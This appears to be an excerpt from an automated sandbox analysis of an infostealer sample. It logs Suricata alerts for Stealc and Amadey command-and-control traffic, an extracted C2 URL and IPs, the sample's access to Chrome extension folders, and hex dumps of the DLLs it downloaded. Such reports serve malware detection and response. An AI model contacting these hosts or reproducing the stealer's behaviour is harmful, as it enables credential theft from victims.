Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50081 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50126 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50134

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
